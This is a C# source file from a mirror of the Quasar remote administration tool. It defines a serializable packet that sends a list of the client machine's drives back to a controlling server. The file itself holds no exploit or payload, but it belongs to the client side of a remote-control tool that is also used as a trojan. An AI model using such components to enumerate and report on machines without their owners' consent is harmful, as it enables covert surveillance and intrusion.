mirror of https://github.com/quasar/Quasar.git
25 lines
478 B
C#
25 lines
478 B
C#
using ProtoBuf;
|
|
|
|
namespace xClient.Core.Packets.ClientPackets
|
|
{
|
|
[ProtoContract]
|
|
public class DrivesResponse : IPacket
|
|
{
|
|
[ProtoMember(1)]
|
|
public string[] Drives { get; set; }
|
|
|
|
public DrivesResponse()
|
|
{
|
|
}
|
|
|
|
public DrivesResponse(string[] drives)
|
|
{
|
|
this.Drives = drives;
|
|
}
|
|
|
|
public void Execute(Client client)
|
|
{
|
|
client.Send<DrivesResponse>(this);
|
|
}
|
|
}
|
|
} |